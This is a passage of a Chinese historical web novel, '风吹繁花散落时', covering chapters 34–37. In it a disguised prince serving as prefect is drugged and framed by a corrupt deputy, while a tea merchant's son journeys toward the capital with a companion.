“周大人的意思是?” “本官只是好奇,你们两家的买卖对向而开,商场上的摩擦不小吧!为什么你愿意让陈记分你们朝廷供奉的一杯羹?” “周大人,三十年前,我们徽商还只是偏居一隅,晋商独步天下,可是短短三十年,徽商已经超过了晋商,就是在外互帮互衬才得来的。我们钱记与他们陈记的确多有摩擦,但是这是二十年来陈千朗第一次主动来找我谈合作,我不能不给他这个面子。” “二十年第一次?有什么内情吗?” 钱万全愣住了一下,“大人,钱记和陈记的茶都没有问题,这是一定的。” “人相信自己已经很难了,钱老板就这么相信陈记?”周启见钱万全不说话,自己站起来走了。周启明白一个道理,站在高处的人只需要把水搅浑,就能看清状况,人多事多不怕,怕就怕大家什么也不做,如今钱记和陈记就是什么也不做,那周启就给他们找点事情做。 周启没走多远,一个小乞丐跑过来交给周启一样东西,什么也没有说就跑开了。周启一看,这不是李博脖子上挂的小犬牙吗!是他小时候养的第一只狗掉的第一颗牙,周启也只见过两次,幸亏这东西基本没有人会带在身上,周启吓了一跳,因为这是李博一直带在脖子上的东西,基本没有摘下来过。 周启赶紧去驿站,“噔噔噔”上了楼,李博正在里边收拾东西。 “哎?你怎么来了?” 周启瞬间明白不对,转身就走,就在一刹那间,两只带着麻药的剑奴射中了周启和李博,两人瞬间失去了意识。 钱宁一行人快马加鞭,到了晌午在客栈打尖。钱宁看了一圈货物,终于坐下吃饭。 “少东家,我帮你留了,都是你爱吃的。” 大家都已经吃完饭,吴怡给钱宁夹出来放在一个盘子里,“你怎么知道我爱吃这些。” “昨天晚上我问白芷姐姐了,少东家,你放心,路上我照顾你。” “呦,什么时候我们跑商的还需要人照顾了?”,张灵走了过来,不同在钱家的大家闺秀打扮,现在张灵穿了一身短打,干净利落。 “张小姐,我也能照顾你。”吴怡笑着说到。 张灵看了一眼吴怡又看了一眼钱宁,“钱少东家,我们还要赶路呢。” “恩,好,半柱香之后出发!” 张灵走后,吴怡坐在钱宁身边,“少东家,人是铁饭是钢,吃饱了再走,来得及!” “吴怡,张灵妹妹说得对,我们跑商的没有那么讲究,赶紧吃两口赶紧赶路,多出来一天就多花一天的钱,那利润就越来越少了,况且这次还没有找到买家之前都不能掉以轻心。” 吴怡听了知道做生意不易,“那少东家你快吃吧!我不打扰你了。” 钱万全在花厅来回踱步,盘算周启的话,不知道什么人告诉钦差什么了,也不知道陈记为什么能独善其身。他甚至仔细想了想前前后后的情况:陈千朗主动找自己谈合作,张海来找自己要合作,宫里的茶出了状况,几任钦差都出了事最后周知府与余年来调查并发现了老鼠屎,张海与余年私下见面,周知府被人陷害,钦差出面平息了事端。张海和余年在一起策划着什么这是肯定的,那陈千朗呢?张海找过陈千朗吗?若是找过想一起弄垮钱家,那陈千朗就不应该与钱记一起上交茶叶才对。若没找过,陈记怎么风平浪静?那天陈明阳来,说明张海一定也找过陈记,那他们会搅和在一起吗? “人相信自己已经很难了。”钱万全想起周启的话,想起这二十年来钱家与陈家也算多有来往,可是自己与陈千朗却很少走动。都是因为一个情字,曾经形影不离的两人已经形同陌路,他会想要制自己于死地吗? “老爷。”钱家夫人王氏走了进来,“老爷,你怎么了?他们说你在花厅一直不出来。” “哦,没事,钱宁已经去京城了,等把茶叶卖出去,我们这次危机也就过去了。” “老爷,可是茶园的事情毕竟不清不楚,今年朝廷供奉不管最终给谁家,以后我们再想拿回来都比登天还难。” “做生意嘛,客户总有跑的时候,再找就是,重要的是我们钱家能够存活下去。” 王氏在钱万全身边就觉得安定,因为对面这个男人这么多年也是经过大风大浪的,这一次,王氏像过去二十年的每一次一样相信他,相信钱家一定能够度过难关。 京城内,户部终于商定了朝廷供奉,由京城的齐家接替。户部尚书本来极力主张徽州陈记接替,因为陈记上交来的茶也是极好的,况且出问题的都是钱记上交来的,这也是有意为之,保住陈记,整垮钱记。但是皇帝一口否决,丞相虽然不知道户部搞什么鬼,但是搅黄他总是没错的。 户部也不是没有准备,齐家就是备选,因为齐家没有茶园,茶叶都是流通来的。户部的打算就是找一个没有货的,找一个有货的相互掩护,瞒天过海。 在路上的钱宁得到消息,觉得这简直就是意外之喜,自己的货直接都卖给齐家就行了。 “钱宁,我与妹妹继续压着货前进,你赶紧去齐家与他们商量。若是他们已经流通出了货,钱记就难了。”张浩做事也十分果决,当机立断。 “好,那我马上去京城找齐家。”钱宁带着吴怡快马加鞭离开大部队向京城进发。 此时的周启觉得迷迷糊糊,外边嘈杂的动静让他心烦意乱,似乎有道光透过窗户照了进来,可是任凭自己多努力,眼睛还是睁不开。 “哎呀,周大人,这真是,这这这,真是有辱斯文有辱斯文啊!”是余年的声音,“各位乡亲父老,这没什么好看的了,各位,给余某人一个面子,千万不要到处乱说啊!” 嘈杂声更大了,似乎一群苍蝇嗡嗡作响。周启终于睁开了眼睛,面前站着一群人,模模糊糊的,余年肥胖的身影映入眼帘,似乎在招呼人出去,还不忘嘱咐,“千万给个面子,千万别往外说啊……” 周启觉得浑身没力气,使劲抬起头看见李博正躺在边上,两人都衣衫不整,周启脑子嗡得一声。 “哎呀,周大人,我的周大人啊!您怎么,哎呀,就算是也不应该让人看见了啊!传出去像什么样子!让百姓怎么看待我们!”周启捶胸顿足的说,“周大人,下官一定尽量安抚百姓,把这件事遮掩过去。”说着,余年摇了摇头转身离去。 周启终于坐起身,想叫余年又不知道说什么,看李博还在沉沉睡着,一赌气,牟足了力气一脚将李博踹到了床下。 李博一下子惊醒,爬起来,“怎么了?怎么了?” 第三十四章 一计不成再来一计(下) - 风吹繁花散落时 - 红酒羊排 不到半天时间,周知府的“丑事”就传遍了整个徽州。 周启与李博在驿站一直没有出来。李博倒是觉得无所谓,坐在椅子上看着周启走来走去。 “你就别转了,转的我眼晕。” “你还好意思说!脖子上的东西都能被人拿去了!还不知道是谁!”周启发起脾气,幸亏李博打小与他一起长大,根本不在怕的。“对了,你把小犬牙还给我呀。” 周启狠狠瞪了李博一眼,伸手掏出小犬牙扔给李博。 李博正好接住带在脖子上,一副无所谓的样子,“五皇子,大不了回京去嘛。就这事,皇上肯定不信!他可是看着咱们两个长大的。” 周启烦躁难安,“我什么也没有做错,我不回京!” 李博站起来,走到周启身边,“那就更没什么了!五皇子,你是天潢贵胄,做什么事情谁也管不着,只要皇上说你没问题你就没问题。” 周启眉毛都拧到一起了,这个道理他打小就懂。但是自己在徽州连连受挫:上任不到一个月就遭人弹劾,不到两个月就出了这种事情,很快全徽州都会知道,他这个状元的脸算是一下子摔在地上,怎么也洗不干净了。先别说史书上怎么写,就是现在也要经受大家的非议,马上皇帝就会接到弹劾自己的第二份折子,皇上怎么看?百姓又怎么看? “五皇子……”李博觉得这没什么,明眼人一看就知道怎么回事。 “你马上去查是谁拿的你的东西!那个小乞丐我给你画下来,你去找!” “这还用查吗?肯定是余年呗。” “那也得去找证据啊!” “五皇子,如果张海和余年搅在了一起,他们现在就是要弄垮钱记弄垮你,你要是反击,我看张海倒是好弄一点。” “你有什么办法?” “直接去问钱万全,他很有可能知道张海的来历。” 周启思虑一下,转身就走,“你继续调查,一定要找到证据!”,周启刚走到门口,连锁慌慌张张跑上楼来,“大人,大人!” “慌什么!”,周启正烦躁,连锁就撞枪口。 连锁赶紧站好,“大人,牢狱失火了!” 周启与李博对视一眼,双双来到牢房,里边一片狼藉,有的犯人被烫伤了正坐在地上哀嚎。周启看见牢房外放着一排尸体,用草席盖着,便示意连锁一下。连锁将草席一点一点掀开,周启见死者只有老鸨子和她的手下,顿时怒火中烧。“哼,好啊,这是跟我示威呢!”说着,周启就往外走。 李博赶紧过来阻拦,“大人,你去了他也不能承认啊!” “你给我让开!”周启从小到大还没有遭受过如此挫折。 “大人!现在还是想想怎么向皇上解释吧!”李博一句话,周启瞬间冷静下来,虽然胸膛起伏剧烈,还是强力克制住。 “大人,现在人证没有了,对我们十分不利,当务之急是找到李氏,上次说听见谈话的女人我现在就把她找回来,还有我现在就去找那个小乞丐。” “我现在去钱家,一会儿回知府衙门聚齐。” “去知府衙门?不太好吧!” “现在还有什么不好!”周启看了一眼李博,戏谑得说,“你都是本官的人了!”周启恢复了镇定,已经带着连锁往钱家走。 李博见周启开起玩笑,知道他有了主意,干脆也开起玩笑,故意伸着兰花指,扭捏地说,“哎呦,怎么说出来了,人家都不好意思了呢。” 周启起了一身鸡皮疙瘩,回身白了李博一眼,李博瞬间恢复正常,咧嘴一笑,“我这就去。”两人便分开行动。 此时的钱宁与吴怡甩开大部队进入山东地界,两人在客栈打尖。 “少东家,你一定尝尝我们山东的大馒头,很劲道的。”吴怡给钱宁拿了一个馒头,自己也拿起一个吃了起来。 “恩,好。” “少东家,你不知道,你们徽州每天吃米饭炒菜,我都想死大馒头了。” “徽州也吃面食的,就是少而已。” “少东家你不知道,我吃不上饭也就算了,每天吃饭却吃不上馒头真是太惨了。”吴怡咬了一大口馒头,觉得心满意足。 钱宁看着吴怡拿着大馒头美滋滋的样子,听她以前吃不上饭更加心疼吴怡了,吴怡则想起进徽州前被周知府“逼迫”吃馒头的情景,“噗嗤”笑了出来。 “哈哈哈,吃个馒头不至于这么高兴吧!” “嘿嘿,不是,少东家我是在想啊,以前饭都吃不上现在还挑剔吃米还是吃馒头,你说我是不是身在福中不知福。” “人都想过更好的生活,吴怡,你以后也会更好的,也许嫁人生子,也许经营一桩生意。” 吴怡咧着嘴点点头,“恩,嘿嘿。” “吴怡,你想过以后吗?” “以后?从来没想过,我现在就想赚点钱,等我爹给人送货回来,然后干什么还没想过。少东家呢?” “我?应该会像我爹一样做生意吧,争取把我们钱家发扬光大。” “少东家,你一定能做到的!” 钱宁看了看吴怡,“现在就希望这批货能顺利卖出去。” “少东家,我们不是去齐家吗?一定能卖出去的。” “其实,其实我有点不甘心。”钱宁顿了顿,“齐家现在是朝廷供奉,我们把茶卖给齐家,他们就是拿我们的茶去做朝廷供奉,可我们明明就没有问题,可是朝廷供奉某名奇妙被人拿走了。” 吴怡一路上也觉得奇怪呢,朝廷不要钱记茶庄的茶做供奉,但是到头来很有可能还是喝钱记茶庄的茶。 “少东家,那,我们要是不卖给齐家,是不是京城也有其他的商户愿意买我们的茶呢?” “有肯定是有,只是齐家肯定需要我们全部的茶,价钱也可观一些,其他的茶商应该没有这么大胃口,我们这次一定要找到一个稳定的销售渠道,要不然以后每年还得来一次,情况不稳定很有可能就卖不出去了。” “少东家。”吴怡见钱宁有点失落,想安慰又不知道该说什么好。 而此时的周启与钱万全面对面站着,周启面色凝重,钱万全怎么也没想到周知府能在这个时候来钱家。 “周大人。”钱万全正要招呼知府大人就坐。 “本官只问你一句话。” “大人请讲。” “张海是什么人?” 钱万全没想到周启知道张海,更没有想到会来问自己,“张海?” “你不会又说不知道吧!” “哦,不是,他说他是商人,来做生意的。” “他说?” “之前他来过,说是和我们谈生意,就是在大人就任知府的第二天。” “什么生意?” 钱万全死死盯着周启的眼睛,十分平静地说,“贡茶。” 周启也看着钱万全的眼睛,少顷,“哼。” “大人?” “钱老板,不管你我是否愿意,如今我们有了一个共同的对手,不是吗?” “周大人。”钱万全知道周启说得对,钱家已经不能在这场知府与同知的战役中独善其身了。“我知道的,都已经告诉大人了。” “陈记?” “我实在不知。” “那就去弄明白!”周启不庸质疑得说到,说着周启已经转身向外走,走到门口又停下来转过头,“钱老板,官场、商场、战场都是一样的,就是要审时度势,做到知己知彼,钱老板应该最明白吧!”说完,周启也不等钱万全回答便自行离开了。 钱万全最担心钱家参与官场争斗,但是如今已经非自己能够左右的了。钱万全长叹一口气,生出无力感。 周启回到知府衙门,一路上都觉得别人看自己的眼光异样。李博已经回来,禀报说小乞丐在东城的城隍庙被人毒死。 “哼,动作够快的。那五个女人呢?” “死了四个,还一个没找到尸体,也没找到人。” “是那个听见谈话那个吗?” “那个已经死了,不过逃走的那个也许看见了此次行凶之人,我觉得还是得找找。” “肯定已经是惊弓之鸟了,调查一下,不用报太大希望。” “是。” “我去给母后写封信,让她好好查查贡茶的事情。” “五皇子,这样会不会暴露行踪?” “我会注意措辞的,我母后不一定能知道我们在哪,我最担心外公。” “丞相大人若是猜出来也应该不会有所行动。” “李博,你说那天给你纸条的人,会不会是外公的人。” “会吗?你不是甩掉了跟着你的人吗?” “毕竟只耍掉了一拨人,难道三哥就没有人跟着我们吗?” “五皇子,皇上派你来徽州,会不会有人在暗处?” 周启觉得那人是皇帝的人也很有可能,毕竟从小身边就一直有皇上和皇后的眼线。周启转眼看见院子中的人,这些人都是皇帝的人,可是他们真的都是皇帝的人吗?就算他们是到了徽州才知道目的地,但是现在已经快两个月了,京中到底有多少人知道自己在徽州真的很难说清楚。 第三十五章 相互试探 - 风吹繁花散落时 - 红酒羊排 “哈哈哈,余大人,真是好计谋啊。” 余年端坐在太师椅上,露出得意之色,又斜着眼瞟了张海一眼,“哼,你的人倒是办事不利,连个女人都做不掉!” 张海自觉理亏,但是脸上却好像志在必得,“大人,一个妓*女,一个老妈子,别说现在她们不敢露面,就算有那么一天对簿公堂,大人还能没有办法推翻她们的证词吗?” “妓*女的证词当然不足采信。哼,周开还是年少无知,这次他应该知道与本官作对也不是这么容易的!” “大人,趁热打铁,现在赶紧上折,再参他一本!让钦差也没有回旋的余地。” “本官如何做事不用你来教。”余年一脸鄙夷,心想:一件事也没有做成,还敢在里指指点点。 “是是是,余大人,恐怕没有多久就要称呼您为知府大人了!” 余年听见自己的前程态度倒是缓和下来,“周开走后,吏部自然委派新的知府。” “哎,余大人,朝廷上的事不是一个吏部说了算的,我家主人自然助您一臂之力!”张海信心满满。 余年心里感觉像出了一口气一样,“钱家的事情,本官一上任自然帮你料理,只要你接手了钱家的生意,本官?”余年睁开了他那对小眼睛,黑色的眸子里闪着贪婪的光芒。 “哦,大人放心,每年利润中的一成,大人,只要找一个可靠的人顶替大人入干股,后面的事情就是顺理成章的了。” 两人相视一下哈哈大笑起来。 钱万全在前厅思虑良久,自从二十年前自己娶了王氏,与陈千朗就断了来往。二十年来钱万全从未进入陈家,虽然孩子们还在一起玩耍,但是这次钱万全必需自己去陈家打听情况以做出最好的判断。 陈家与钱家如果都从后门出入其实只隔了一条街,甚至若站在两家的制高点上都能看到对方的院子。可是钱万全与陈千朗就好像隔着千山万水一样,在周知府的接风宴上还是两人二十年来少有的面对面交流。 “老爷,公子,钱老板来了。” 小厮来通报时,陈记父子正在喝茶,“哪个钱老板?” 小厮看了一眼陈千朗,“老爷,就是钱记的钱老板,钱万全老板。” 陈明阳看着父亲,他一直以为父辈人是因为抢生意才形同陌路的,“爹?” 陈千朗已经知道周知府与钦差的事了,这已经让他很意外,钱万全的到来更是让人觉得不可思议。陈千朗长出一口气,“请钱老板进来吧。” 陈明阳与钱万全打了招呼后,识趣得走开。 “钱兄,别来无恙啊?” “托陈老板的福,挺好的。” 两人落座后,喝着茶相视一笑,“钱兄今日前来?” “哦,京城的齐家得了朝廷供奉。” “哦?”陈千朗知道自己是不可能了,没想到齐家连个茶园都没有还能抢到朝廷供奉,心里五味杂陈。 “张老板也不能一手遮天嘛。” 陈千朗一听张老板,明白了钱万全的来意。“钱兄,我与张老板素无往来。” “他似乎志在必得。” “很多事情不是他能决定的。” “哈哈哈哈,陈老板一直审时度势,如今张海背后通着后宫,我们钱记与周知府似乎绑到一起了,陈老板?” “钱兄,我们商家还是少与官府打交道的好。” “现在不是我能决定的了。” “钱兄来给周知府当说客吗?” “陈老板误会,拉帮结派是官家的事,与我们钱记无关,我只是想知道陈老板站在哪里?” “我若和张老板合作,我就能接手钱家所有的生意,若是与周知府合作,我能得到什么呢?” “什么也没有,保持原状。” “哈哈哈,钱兄,若是你呢?” 两人相互对视,互不相让。最终还是钱万全先站起身来,“陈老板,你我两家看似富可敌国,可是谁也抵不住哪怕一次错误的抉择。官家的争斗不是我们商家可以左右的,但是官商联系一直千丝万缕,如今我们钱记已经人为刀俎,走到生死边缘。陈老板,若你能隔岸观火,即使钱记最终走到末路,我钱万全也要谢谢你给钱记伙计们一条活路。”说完,钱万全抱拳向陈千朗深施一礼,转身离开。 陈千朗坐在椅子上看着钱万全的背影,再怎样的一世豪杰也抵不住命运的安排,一时间觉得沉重。 “爹,钱伯伯什么意思?”陈明阳一直躲在后边听着,一时不明白。 “他的意思是说不能阻止我与张海合作,若是我能什么也不做最好,就算最后他们钱记难逃厄运,也愿意我们陈家接手他们所有的生意,只希望我们能别辞退他们的伙计。” “爹,前几天我们的伙计还说钦差与余同知关系甚笃,可是今天就和周知府传出新闻,官场的事真不是我们商家能看明白的。”陈明阳立场坚决,千万不能玩火。 “这我能不知道吗?可是现在周知府真是自身难保,我看钱记也悬!”陈千朗也不想钱记万劫不复,可是自己又能做什么呢? 钱家与陈家都觉得生死存亡了,周启倒是不慌不忙,因为自己与李博独特的背景,皇帝绝不会相信这么荒唐的事情。 周启站在窗边看着外边悠悠的说,“李博,你说有没有别的官员就是因为父皇不清楚而被冤枉了呢?” “五皇子!” 周启转身看了一眼李博,知道他提醒的对,周启又看着外边继续说到,“父皇曾说过:看似太平的世界,总是暗流汹涌。以前我从未放在心上,现在我倒是明白了。” “也许这正是皇上派您来这的原因。” 周启觉得这两个月自己似乎长大了一些,即使再克勤克俭,还是有百姓在背后骂自己。即使再公正廉明,还是阻碍了一些人的道路。被陷害,似乎成了他从小到大必需忍受的事情,即使身在徽州。他原本以为终于可以松一口气,可是命运就是要在你放松警惕时狠狠将你抽回现实。 正想着,连锁走了进来,“大人,余同知求见。” 周启也不看别人,直接吩咐,“让他进来。” “是。”连锁将余年引进来便告退。 余年给周启抱拳施礼,看见李博,假装惊讶,“哎呀,钦差大人,这,您实在不该出现在这里。” 李博看见余年就气不打一处来,“本钦差去哪,需要你一个小小的同知告诉吗?” 周启也从悲伤的情绪中抽离出来,迈着方步与余年面对面,“怎么了?余年大人,既然大家都知道了,也没必要遮遮掩掩的了!” 余年没想到这两位还挺坦然,“大人,这徽州可能与别处不同,这里遵教守礼。就是下官,对于大人与钦差大人之事也实在不敢认同。” “余年大人,若说遵教守礼,本官身为状元郎,自然懂。况且本官为知府,教化一方百姓也是本官的职责,余同知就不必费心了吧。” 李博在旁边听了,对着余年微微一笑,“就是啊,余年同知!”同知两字说的尤其重。因为余年仅是同进士出身,还做了多年同知都未能升迁,状元和知府的头衔都是余年可望而不可及的。 余年也听出来了,皮笑肉不笑的说到,“大人第一天来就处置了祁门县,百官敬服,如今大人做出如此不耻之事,还望大人为江山社稷记,为朝廷颜面记,自请辞去知府之职。”余年说着说着已经换了一副面孔,一副正义凛然的样子。 “若是本官不这样呢?” “那下官只好再次上奏弹劾大人,至于钦差大人,下官只能秉公办理,一起弹劾。” 李博看了一眼余年,又看了一眼周启,心想:呦呵,好小子,这是跟我们扛上了。李博一时找不到家伙事,脱下靴子对着余年扔了过去,“是不是就会打小报告!叫你!” 余年猝不及防,下意识躲一下,还是躲了过去,“钦差大人,你!” 李博用一只脚跳着过来捡鞋,余年赶紧跑,李博一下子扔出去,“滚吧你!” 周启见李博一副泼妇的模样,噗嗤笑了出来,又与李博相视一眼,都无奈的笑了。 此时的钱宁看见吴怡直直盯着旁边那桌的虾子咽口水,“小二,旁边桌这个,我们也来一份。” 吴怡收回目光,“嘿嘿,少东家,这怎么好意思呢?” “反正都是要吃饭的。” 吴怡与李老四一直在山东境内活动,父女俩曾去过最东边,那里挨着海,大生蚝有手臂那么大,要不是骗人暴露了被官府追,才舍不得离开海边呢。去了徽州虽然在富贵人家,毕竟内陆,海鲜倒是吃的少了。如今看见海鲜自然馋虫发动,又不好意思说。幸亏钱宁贴心,吴怡狼吞虎咽,心满意足。 两人用过饭去号房,结果只剩一间。 “老板,你再好好看看!” “真没有了,再说了,两位住一间不还增进感情呢吗?这位公子、这位小姐一看就是郎才女貌。” 吴怡听他胡说,抬手要给她一巴掌,钱宁拉了吴怡一下,“我们要不去别家看看吧。” “这位公子,这个时候了肯定都没有了,我劝您啊还是在小店住下吧!要不一会儿这一间也没有了!你们呀,就只能睡路边了。” 钱宁看了吴怡一眼,“好吧,就要这间吧。” “少东家?” “没事,我可以睡地上。” 第三十六章 进京途中 - 风吹繁花散落时 - 红酒羊排 钱宁与吴怡进房,见屋内还算宽敞干净。 “你睡床上,我睡地上就行。” “那怎么能行呢?”吴怡赶紧阻拦,“少东家,再过两天就进京了,你一定要休息好,大家还等着你卖出去货吃饭呢!我睡地上。”说着吴怡已经开始收拾东西、铺床了。 “没事,我一个大男人睡地上没问题!” “少东家,你听我的吧!我以前别说床了,有点稻草在桥底下就很好了,现在还有铺盖呢,你看多好。”说话间吴怡已经铺好床坐在了铺盖上。“对了,少东家,我帮你也铺一下。” “我自己来吧!我自己来。”钱宁与吴怡一起三下五除二就铺好了床,“吴怡,你……”钱宁还想让吴怡住床上。 “少东家,我去让他们弄点热水,你泡泡脚。” “哎,吴怡……”钱宁见吴怡已经出门,也就没再说什么。 不一会儿,吴怡自己端着水进来了,“少东家,少东家。”钱宁见水很沉的样子赶紧过来帮忙,“你怎么端进来了?” “没事,不沉。”两人将水放在椅子旁,“来,少东家,你快洗吧!”说着吴怡过来帮钱宁脱鞋。 “不用不用,我自己来。”钱宁下意识躲了一下,“真不用,我自己来,我自己来。” “嘿嘿,那好,少东家你洗吧。” 吴怡一点也不觉得什么,自己到铺盖上躺下了。 钱宁自己脱鞋泡脚,看吴怡一条腿稍稍弯曲另一条腿搭在上边,躺着跷二郎腿,十分悠闲地看《三字经》。 钱宁见吴怡看得聚精会神,好像在看什么十分深奥的文学著作。吴怡的脸庞在灯光的摇曳下变得忽明忽暗,长长的睫毛下,清明的眸子闪着光。正看着,吴怡打了个哈欠,将书就这么开着蒙在了脸上,依旧翘着二郎腿,双手交叉在胸前,很快就睡着了。 钱宁观察了一会,蹑手蹑脚将盆抬了出去,又轻声走到吴怡旁边,一把将吴怡抱起放在床上又为她盖好了被子,还将书从地上捡起来放在她枕头边,自己则躺在地上的铺盖上,头枕着自己的手臂面向吴怡的方向。窗外的猫头鹰“咕咕”叫了两声,吴怡翻了个身,钱宁终于不再看吴怡,躺平了身体,长出一口气,静静睡去。 第二天一早天还没亮,吴怡迷迷糊糊起来,看见钱宁睡在床下,自己倒占着整张床,吴怡一骨碌爬起来,钱宁也被惊醒。 “怎么了?” “少东家,我。”吴怡桡着头,“肯定是我梦游了,对不起啊少东家,把你挤下去了。” 钱宁一愣,不知道该怎么回答,笑了两声,“没事,起床吧,吃完早饭赶路了。” “恩,好。”吴怡将不好意思抛到脑后,整理完毕开开心心去吃饭。 两人继续上路,来到河边休息。吴怡脱了鞋袜下水去摸鱼,钱宁看她空着两只手,便拿出匕首将树杈削尖了也下水去。 “哎,少东家你别下来了!我能抓到。” “咱们一起能快点。” 说着,两人一人站一个地方,“我看见了,我看见了,这呢。”吴怡发现了鱼,给钱宁指着,两人形成合围之势,“慢点慢点。” 钱宁慢慢走到鱼旁边,屏气凝神,一下子扎了下去,鱼受惊逃走,吴怡手忙脚乱,一阵乱摸,什么也没摸到。 两人重整旗鼓,慢慢往前走,“我看见了。”钱宁又发现了鱼,两人再次合围,“慢点慢点。” 小鱼没有感受到危险,仍旧悠然自得的游着,“别动别动。”钱宁已经来到近前,使劲一扎,正中靶心。 “啊,扎到了扎到了!”吴怡欢呼雀跃,喜悦之情溢于言表,“好厉害,好大的鱼!哇,我们抓到了!” 钱宁看吴怡兴奋的样子,心里也高兴,将树枝那头递给吴怡,吴怡将鱼拿了下来,两人开始往岸边走。吴怡本来使劲抓着鱼,可是它还没有完全死透,突然动了一下,吴怡吓了一跳,鱼“扑腾”一下掉在水里。 吴怡赶紧弯腰去找,钱宁在前边听见动静也转身来找,可是手中的树杈正好打在吴怡脸上,“哎呦。”吴怡叫了一声,钱宁赶紧将棍子抽回来,走上前来,用手摸着吴怡被打的地方,“没事吧?” 吴怡只捂了一下,想起鱼还没找到,“鱼鱼鱼。” 两人又一起低头找,“嘭”得一声,两人的头又撞在一起,两人都往后退了一下,“哎呦。”吴怡又叫了一声,揉着脑袋说了一句,“哎呀,没事没事,快快快,跑了!” 钱宁终于将鱼又捞起来,“走吧。” 两人一前一后,这次由钱宁稳稳当当抓着鱼。走两步,钱宁还不忘回身照看吴怡,“小心点啊。” “恩,没事,走吧。” 两人终于走到岸边,这里不是最开始下来的地方,岸边有点高,钱宁先将鱼放好,一抬脚上去了,又转身来拉吴怡。吴怡被钱宁拉着,使劲抬脚踩在岸边,身子刚刚要上去了,脚底的岸堤突然塌了下去,吴怡下意识两只手都拉住了钱宁。钱宁原本已经用劲要将吴怡拉上来,情况突然变化,手上更加用劲,一把将吴怡拉了上来,两人倒在地上。 吴怡猝不及防倒在钱宁身上,一只手撑了一下地。吴怡与钱宁四目相对,吴怡赶紧起来,“哎呦。” “怎么了?”,钱宁也坐起来,看吴怡捂着手腕。 吴怡拿开手,动了动手腕,“哎呦,疼。”不一会儿,手腕肿了起来。 “你别动啊!”,钱宁站起来到后边树林底下找到两根合适的木棍,又将自己的衣服扯下来一条,将吴怡的手用木棍夹住,用布条绑住。“应该没有骨折,也没有脱臼,这好好绑着,过两天就散开了,不过这两天不能乱动。” 吴怡看着钱宁给自己绑了两根木棍,“少东家,没事,过两天就好了。” 钱宁见吴怡的脚上都是泥,“等会啊。”钱宁用行李里带的一个碗,舀来河水给吴怡冲洗。 “哎,少东家,我自己来。” “你别乱动!我来吧,没事,你手肿了,老实呆着。” 吴怡看钱宁不容置疑,瞬间老实了,任由钱宁洗干净了自己的脚,还用手帕擦干净穿上了鞋袜。 “行了,我扶你起来。” “不用了,少东家,我伤的是手,又不是脚。”吴怡已经笑呵呵自己站了起来。 “那好,咱们去烤鱼吧。”,钱宁找了一个好地方,让吴怡坐在歪倒在地的树干上,自己收拾好鱼,起火烤鱼。 “嘿嘿,真香啊。”烤鱼的味道很快就出来了,吴怡一直不错眼看着这条大鱼。 “应该能吃了。”钱宁看了看,用手掰下来一点,喂给吴怡,“你尝尝。” “恩,好吃!”吴怡又嘿嘿笑起来,“少东家真好。”钱宁又喂给吴怡一块,“少东家你也吃啊!” “恩,好。” 两人你一口我一口,吴怡根本不用动手,心里美滋滋吃完了烤鱼。 吃完了鱼,钱宁说吴怡不能一个人独自骑马了,“你骑马本来就生疏,我们共骑一匹马吧。” “少东家,这样会不会太慢了。” “不会的,明天一定就能进京了,要是你自己骑马,摔下来可就更难办了。” “那好吧。”吴怡在钱宁的帮助下艰难上马,两人同骑一匹马向前小跑起来。 此时的北方已经热了起来,南方还在下雨。徽州城的小雨一直淅淅沥沥不间断,有时甚至看不清,但是在外边时间长了却能深切感受到雨,只是毛毛的,湿了发髻。 娉婷知道哥哥正与余年交锋,不想在知府衙门触霉头,与钱朵行于街上。 “哎,明阳哥哥!”钱朵远远看见陈明阳,叫了一声。 娉婷一听陈明阳,心里觉得怪怪的,“哼。”娉婷白了陈明阳一眼,将脸扭到一边。 陈明阳就好像没看见娉婷,与钱朵互相寒暄,“朵朵妹妹,你哥哥快到京城了吧?” “到京城?你哥哥去京城干嘛?”娉婷一直也没看见钱宁,一直也没问,听陈明阳这么说觉得奇怪。 “啊?”朵朵看了一眼陈明阳,不知道该不该说。 娉婷看朵朵欲言又止的样子,又看了陈明阳一眼,“怎么了?”陈明阳双手背后稳稳当当站着,根本不看娉婷,朵朵低着头不说话。娉婷最见不得人这样,火气腾的一下上来了,“钱朵,再怎么说我哥哥也是帮了你们钱家一次现在才遭人陷害,你哥哥去哪我才不想知道呢!就当我哥哥瞎了眼,当初不管你们就好了!”说完,娉婷转身就走。 钱朵赶紧追上娉婷,“哎,娉婷姐姐,娉婷姐姐,我不是不想告诉你,只是我们钱家现在也是生死存亡,我不知道该不该说。” “哼,我觉得周大小姐最好还是别知道的好,否则谁知道你会干出什么?”陈明阳冷不丁来了一句。 娉婷狠狠瞪了陈明阳一眼,心想:我唐唐大周朝嫡公主,居然站在这里受这个闲气!最好大家都回京去!大不了嫁给什么西凉王,也比这里强多了!想着只看了两人一眼,抬腿就走,眼泪却不自觉流了下来。 第三十七章 误会加深 - 风吹繁花散落时 - 红酒羊排 “娉婷姐姐。”钱朵见娉婷生气了,想要去追。 “追她干嘛!”陈明阳拉住钱朵,“朵朵,走,我送你回家去。” 娉婷回到知府衙门看周启正坐在秋千上,撅着嘴走了过来,“哥。” “又怎么了?难道钱朵也欺负你了?” “钱宁好像去京城了。” “去就去呗,他们肯定得把茶卖出去啊,去京城也不稀奇。” “哥,那为什么钱朵不敢告诉我啊?我就那么坏吗?” “哈哈哈,她在闺阁里长大,恐怕只是一时拿捏不准该不该告诉你,这你就生气了?” “才没有呢。” 周启坐在秋千上也不荡,双手把着秋千绳子,探头看了看娉婷,伸手按了一下她的嘴,“那怎么了?嘴都能栓头驴了。” “哥,陈明阳真讨厌!”娉婷皱着眉毛看着地,“咱们回京城前我一定要好好教训教训他!让他知道本公主不是好惹的!” “谁要回京城?” 娉婷看着周启,“哥,父皇要是再接到弹劾你的奏折,还不得把你叫回去啊。” “父皇能信吗?” “那,那些大臣呢,还有那个李贵妃巴不得抓着你的错处呢。” “她又不知道我在这。”周启荡起秋千,“放心吧妹妹,大臣们肯定有人想把我调走,可是这些都是父皇说了算,父皇不可能让我回去的。” 娉婷看着周启忽高忽低,突然拉住秋千,“哥哥。”娉婷面露喜色,“你是不是告诉父皇是余年害你?那你想怎么处置他?交给我,交给我,我一定给你出口气。” “切,胡说什么呢?” “那你干嘛这么笃定。”娉婷疑惑起来,拉着周启的袖子,“哥,你快告诉我呀!” “我给父皇写信了。” “写信?嘿,我当什么呢,父皇才不会因为你解释就饶了你呢,就你和李博搞这个事情,就算你们清白,父皇也不可能偏袒你,他会觉得你笨!我都觉得你笨。” “嘿。”周启推了娉婷肩膀一下,“我也觉得我笨!那个李博更笨!所以,我跟父皇说我要回京。” 